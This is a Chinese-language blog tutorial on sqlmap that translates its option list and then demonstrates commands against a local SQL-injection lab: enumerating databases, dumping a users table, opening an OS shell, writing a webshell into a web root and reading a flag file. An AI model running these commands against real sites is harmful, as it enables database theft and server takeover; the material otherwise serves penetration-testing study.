SQL注入之sqlmap使用教程(超详细)

sqlmap使用

选项

-h, --help 显示基本帮助信息并退出
-hh 显示高级帮助信息并退出
--version 显示程序的版本号并退出
-v VERBOSE 详细级别:0-6(默认 1)

目标

至少必须提供这些选项中的一个来定义目标

-u URL, --url=URL 目标 URL(例如“http://www.site.com/vuln.php?id=1”)
-d DIRECT 直接数据库连接的连接字符串
-l LOGFILE 从 Burp 或 WebScarab 代理日志文件中解析目标
-m BULKFILE 扫描文本文件中给定的多个目标
-r REQUESTFILE 从文件加载 HTTP 请求
-g GOOGLEDORK 将 Google dork 结果处理为目标 URL
-c CONFIGFILE 从配置 INI 文件加载选项

要求

这些选项可用于指定如何连接到目标 URL

-A AGENT, --user.. 		HTTP User-Agent 标头值
-H HEADER, --hea.. 		额外的标头(例如“X-Forwarded-For:127.0.0.1”)
--method=METHOD 			强制使用给定的 HTTP 方法(例如 PUT)
--data=DATA 					要通过 POST 发送的数据字符串(例如“id=1”)
--param-del=PARA.. 		用于分割参数值的字符(例如&)
--cookie=COOKIE 			HTTP Cookie 标头值(例如“PHPSESSID=a8d127e..”)
--cookie-del=COO.. 		用于拆分 cookie 值的字符(例如 ;)
--live-cookies=L.. 		用于加载最新值的实时 cookie 文件
--load-cookies=L.. 		包含 Netscape/wget 格式的 cookie 的文件
--drop-set-cookie 		忽略响应中的 Set-Cookie 标头
--mobile 							通过 HTTP User-Agent 标头模仿智能手机
--random-agent 				使用随机选择的 HTTP User-Agent 标头值
--host=HOST HTTP 			主机标头值
--referer=REFERER 		HTTP Referer 标头值
--headers=HEADERS 		额外的标头(例如“Accept-Language: fr\nETag: 123”)
--auth-type=AUTH.. 		HTTP 身份验证类型(基本、摘要、承载等)
--auth-cred=AUTH.. 		HTTP 身份验证凭据(名称:密码)
--auth-file=AUTH.. 		HTTP 身份验证 PEM 证书/私钥文件
--ignore-code=IG.. 		忽略(有问题的)HTTP 错误代码(例如 401)
--ignore-proxy 				忽略系统默认代理设置
--ignore-redirects 		忽略重定向尝试
--ignore-timeouts 		忽略连接超时
--proxy=PROXY 				使用代理连接到目标 URL
--proxy-cred=PRO.. 		代理身份验证凭据(名称:密码)
--proxy-file=PRO.. 		从文件加载代理列表
--proxy-freq=PRO.. 		从给定列表更改代理之间的请求
--tor 使用 Tor 				匿名网络
--tor-port=TORPORT 		设置默认以外的 Tor 代理端口
--tor-type=TORTYPE 		设置 Tor 代理类型(HTTP、SOCKS4 或 SOCKS5(默认))
--check-tor 					检查Tor是否正确使用
--delay=DELAY 				每个 HTTP 请求之间的延迟秒数
--timeout=TIMEOUT 		超时连接前等待的秒数(默认 30)
--retries=RETRIES 		连接超时时重试(默认 3)
--retry-on=RETRYON 		重试对正则表达式匹配内容的请求(例如“drop”)
--randomize=RPARAM 		随机更改给定参数的值
--safe-url=SAFEURL 		测试时经常访问的URL地址
--safe-post=SAFE.. 		POST 数据以发送到安全的 URL
--safe-req=SAFER.. 		从文件加载安全的 HTTP 请求
--safe-freq=SAFE.. 		在访问安全 URL 之间定期请求
--skip-urlencode 			跳过负载数据的 URL 编码
--csrf-token=CSR.. 		用于保存反 CSRF 令牌的参数
--csrf-url=CSRFURL 		提取反CSRF令牌访问的URL地址
--csrf-method=CS.. 		反 CSRF 令牌页面访问期间使用的 HTTP 方法
--csrf-data=CSRF.. 		在反 CSRF 令牌页面访问期间发送的 POST 数据
--csrf-retries=C.. 		重试反 CSRF 令牌检索(默认 0)
--force-ssl 					强制使用 SSL/HTTPS
--chunked 						使用 HTTP 分块传输编码 (POST) 请求
--hpp 								使用HTTP参数污染方式
--eval=EVALCODE 			在请求之前评估提供的 Python 代码(例如
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

优化

这些选项可以用来优化sqlmap的性能

-o 打开所有优化开关
--predict-output 预测常见查询输出
--keep-alive 使用持久 HTTP(s) 连接
--null-connection 在没有实际 HTTP 响应正文的情况下检索页面长度
--threads=THREADS 最大并发 HTTP(s) 请求数(默认 1)

注射

这些选项可用于指定要测试的参数,
提供自定义注入有效载荷和可选的篡改脚本

-p TESTPARAMETER 			可测试参数
--skip=SKIP 					跳过给定参数的测试
--skip-static 				跳过似乎不是动态的测试参数
--param-exclude=.. 		用于从测试中排除参数的正则表达式(例如“ses”)
--param-filter=P.. 		按位置选择可测试参数(例如“POST”)
--dbms=DBMS 					强制后端 DBMS 提供值
--dbms-cred=DBMS.. 		DBMS 身份验证凭据(用户:密码)
--os=OS 							强制后端 DBMS 操作系统提供值
--invalid-bignum 			使用大数字使值无效
--invalid-logical 		使用逻辑操作使值无效
--invalid-string 			使用随机字符串使值无效
--no-cast 						关闭负载投射机制
--no-escape 					关闭字符串转义机制
--prefix=PREFIX 			注入负载前缀字符串
--suffix=SUFFIX 			注入载荷后缀字符串
--tamper=TAMPER 			使用给定脚本篡改注入数据

检测

这些选项可用于自定义检测阶段

--level=LEVEL 				要执行的测试级别(1-5,默认 1)
--risk=RISK 					执行测试的风险(1-3,默认 1)
--string=STRING 			当查询被评估为 True 时要匹配的字符串
--not-string=NOT.. 		当查询被评估为 False 时要匹配的字符串
--regexp=REGEXP 			当查询评估为 True 时要匹配的正则表达式
--code=CODE 					当查询被评估为 True 时要匹配的 HTTP 代码
--smart 							仅当启发式为正时才执行彻底测试
--text-only 					仅根据文本内容比较页面
--titles 							仅根据标题比较页面

技巧

这些选项可用于调整特定 SQL 注入的测试技巧

--technique=TECH.. 				要使用的 SQL 注入技术(默认为“BEUSTQ”)
--time-sec=TIMESEC 				延迟 DBMS 响应的秒数(默认 5)
--union-cols=UCOLS 				用于测试 UNION 查询 SQL 注入的列范围
--union-char=UCHAR 				用于暴力破解列数的字符
--union-from=UFROM 				在 UNION 查询 SQL 注入的 FROM 部分中使用的表
--dns-domain=DNS.. 				用于 DNS 渗漏攻击的域名
--second-url=SEC.. 				搜索二阶响应的结果页面 URL
--second-req=SEC.. 				从文件加载二阶 HTTP 请求

指纹

-f, --fingerprint 				执行广泛的 DBMS 版本指纹

枚举

这些选项可用于枚举后端数据库管理系统的信息、结构和表中包含的数据

-a, --all 							检索一切
-b, --banner 						检索 DBMS 横幅
--current-user 					检索 DBMS 当前用户
--current-db 						检索 DBMS 当前数据库
--hostname 							检索 DBMS 服务器主机名
--is-dba 								检测DBMS当前用户是否为DBA
--users 								枚举 DBMS 用户
--passwords 						枚举 DBMS 用户密码哈希
--privileges 						枚举 DBMS 用户权限
--roles 								枚举 DBMS 用户角色
--dbs 									枚举 DBMS 数据库
--tables 								枚举 DBMS 数据库表
--columns 							枚举 DBMS 数据库表列
--schema 								枚举 DBMS 模式
--count 								检索表的条目数
--dump 									转储 DBMS 数据库表条目
--dump-all 							转储所有 DBMS 数据库表条目
--search 								搜索列、表和/或数据库名称
--comments 							在枚举期间检查 DBMS 注释
--statements 						检索正在 DBMS 上运行的 SQL 语句
-D DB 									要枚举的 DBMS 数据库
-T TBL 									要枚举的 DBMS 数据库表
-C COL 									要枚举的 DBMS 数据库表列
-X EXCLUDE 							不枚举的 DBMS 数据库标识符
-U USER 								要枚举的 DBMS 用户
--exclude-sysdbs 				枚举表时排除 DBMS 系统数据库
--pivot-column=P.. 			数据透视列名称
--where=DUMPWHERE 			表转储时使用 WHERE 条件
--start=LIMITSTART 			要检索的第一个转储表条目
--stop=LIMITSTOP 				要检索的最后一个转储表条目
--first=FIRSTCHAR 			首先查询输出字字符进行检索
--last=LASTCHAR 				要检索的最后一个查询输出字字符
--sql-query=SQLQ.. 			要执行的SQL语句
--sql-shell 						提示交互式 SQL shell
--sql-file=SQLFILE 			从给定文件执行 SQL 语句

蛮力

这些选项可用于运行暴力检查

--common-tables 				检查公用表是否存在
--common-columns 				检查是否存在公共列
--common-files 					检查公共文件是否存在

用户自定义函数注入

这些选项可用于创建自定义的用户定义函数

--udf-inject 						注入自定义用户定义函数
--shared-lib=SHLIB 			共享库的本地路径

文件系统访问

这些选项可用于访问后端数据库管理系统底层文件系统

--file-read=FILE.. 				从后端 DBMS 文件系统读取文件
--file-write=FIL.. 				在后端DBMS文件系统上写一个本地文件
--file-dest=FILE.. 				要写入的后端 DBMS 绝对文件路径

操作系统访问

这些选项可用于访问底层操作系统的后端数据库管理系统

--os-cmd=OSCMD 				执行操作系统命令
--os-shell 						提示输入交互式操作系统外壳
--os-pwn 							提示输入 OOB shell、Meterpreter 或 VNC
--os-smbrelay 				一键提示 OOB shell、Meterpreter 或 VNC
--os-bof 							存储过程缓冲区溢出利用
--priv-esc 						数据库进程用户提权
--msf-path=MSFPATH 		安装 Metasploit Framework 的本地路径
--tmp-path=TMPPATH 		临时文件目录的远程绝对路径

Windows 注册表访问

这些选项可用于访问后端数据库管理系统 Windows 注册表

--reg-read 											读取 Windows 注册表项值
--reg-add 											写入 Windows 注册表键值数据
--reg-del 											删除 Windows 注册表项值
--reg-key=REGKEY 								Windows 注册表项
--reg-value=REGVAL 							Windows 注册表键值
--reg-data=REGDATA 							Windows 注册表键值数据
--reg-type=REGTYPE 							Windows 注册表键值类型

一般的

这些选项可以用来设置一些通用的工作参数

-s SESSIONFILE 							从存储的 (.sqlite) 文件加载会话
-t TRAFFICFILE 							将所有 HTTP 流量记录到文本文件中
--answers=ANSWERS 					设置预定义的答案(例如“quit=N,follow=N”)
--base64=BASE64P.. 					包含 Base64 编码数据的参数
--base64-safe 							使用 URL 和文件名安全的 Base64 字母表 (RFC 4648)
--batch 										从不要求用户输入,使用默认行为
--binary-fields=.. 					具有二进制值的结果字段(例如“摘要”)
--check-internet 						在评估目标之前检查互联网连接
--cleanup 									从 sqlmap 特定的 UDF 和表中清理 DBMS
--crawl=CRAWLDEPTH 					从目标 URL 开始抓取网站
--crawl-exclude=.. 					排除页面爬行的正则表达式(例如“注销”)
--csv-del=CSVDEL 						CSV 输出中使用的定界字符(默认为“,”)
--charset=CHARSET 					SQL 盲注字符集(例如“0123456789abcdef”)
--dump-format=DU.. 					转储数据的格式(CSV(默认)、HTML 或 SQLITE)
--encoding=ENCOD.. 					用于数据检索的字符编码(如 GBK)
--eta 											显示每个输出的预计到达时间
--flush-session 						刷新当前目标的会话文件
--forms 										在目标 URL 上解析和测试表单
--fresh-queries 						忽略存储在会话文件中的查询结果
--gpage=GOOGLEPAGE 					使用来自指定页码的 Google dork 结果
--har=HARFILE 							将所有 HTTP 流量记录到 HAR 文件中
--hex 											在数据检索期间使用十六进制转换
--output-dir=OUT.. 					自定义输出目录路径
--parse-errors 							从响应中解析并显示 DBMS 错误消息
--preprocess=PRE.. 					使用给定的脚本进行预处理(请求)
--postprocess=PO.. 					使用给定的脚本进行后处理(响应)
--repair 										转储具有未知字符标记(?)的条目
--save=SAVECONFIG 					将选项保存到配置 INI 文件
--scope=SCOPE 							用于过滤目标的正则表达式
--skip-heuristics 					跳过漏洞的启发式检测
--skip-waf 									跳过 WAF/IPS 保护的启发式检测
--table-prefix=T.. 					用于临时表的前缀(默认值:“sqlmap”)
--test-filter=TE.. 					按有效载荷和/或标题选择测试(例如 ROW)
--test-skip=TEST.. 					通过有效载荷和/或标题跳过测试(例如 BENCHMARK)
--web-root=WEBROOT 					Web 服务器文档根目录(例如“/var/www”)

各种各样的

这些选项不属于任何其他类别

-z MNEMONICS 						使用简短的助记符(例如“flu,bat,ban,tec=EU”)
--alert=ALERT 					发现 SQL 注入时运行主机操作系统命令
--beep 									有问题和/或发现漏洞时发出蜂鸣声
--dependencies 					检查缺少的(可选的)sqlmap 依赖项
--disable-coloring 			禁用控制台输出着色
--list-tampers 					显示可用篡改脚本列表
--no-logging 						禁用记录到文件
--offline 							在离线模式下工作(仅使用会话数据)
--purge 								安全地从 sqlmap 数据目录中删除所有内容
--results-file=R.. 			多目标模式下 CSV 结果文件的位置
--shell 								提示交互式 sqlmap shell
--tmp-dir=TMPDIR 				存放临时文件的本地目录
--unstable 							调整不稳定连接的选项
--update 								更新sqlmap
--wizard 								适合初学者的简单向导界面

示例演示

是否为管理员
sqlmap -u "http://192.168.16.130/sqli/Less-1/?id=*" --thread=10 --id-dba


列出所有数据库
sqlmap -u "http://192.168.16.130/sqli/Less-1/?id=*" --thread=10 --dbs


列出所有表
sqlmap -u "http://192.168.16.130/sqli/Less-1/?id=*" --thread=10 -D security --tables


列出所有列
sqlmap -u "http://192.168.16.130/sqli/Less-1/?id=*" --thread=10 -D security -T users --columns


脱裤
sqlmap -u "http://192.168.16.130/sqli/Less-1/?id=*" --thread=10 -D security -T users --dump


sqlmap -u "http://192.168.16.130/sqli/Less-11/" --data="uname=asf&passwd=saf" --thread=10 --dbs


sqlmap -u "http://192.168.16.130/sqli/Less-11/" --data="uname=asf&passwd=saf" --thread=10 --os-shell --os-cmd=whoami
  Web 服务器支持哪种 Web 应用程序语言?
  [1] ASP(默认)
  [2] ASPX
  [3] 网页
  [4] PHP
  您想将什么用于可写目录?
  [1] 常用位置('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/')(默认)
  [2] 自定义位置
  [3]自定义目录列表文件
  [4] 暴力搜索


sqlmap -u "http://192.168.16.130/sqli/Less-11/" --data="uname=asf&passwd=saf" --thread=10 --file-write=webshell.php --filedest=D:/phpStudy/PHPTutorial/WWW/webshell.php


sqlmap -u "http://192.168.16.130/sqli/Less-11/" --data="uname=asf&passwd=saf" --thread=10 --file-read=D:/phpStudy/PHPTutorial/WWW/flag.txt

注:仅供学习参考,严禁非法攻击,否则后果自负,本人不承担任何责任!

  • 5
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值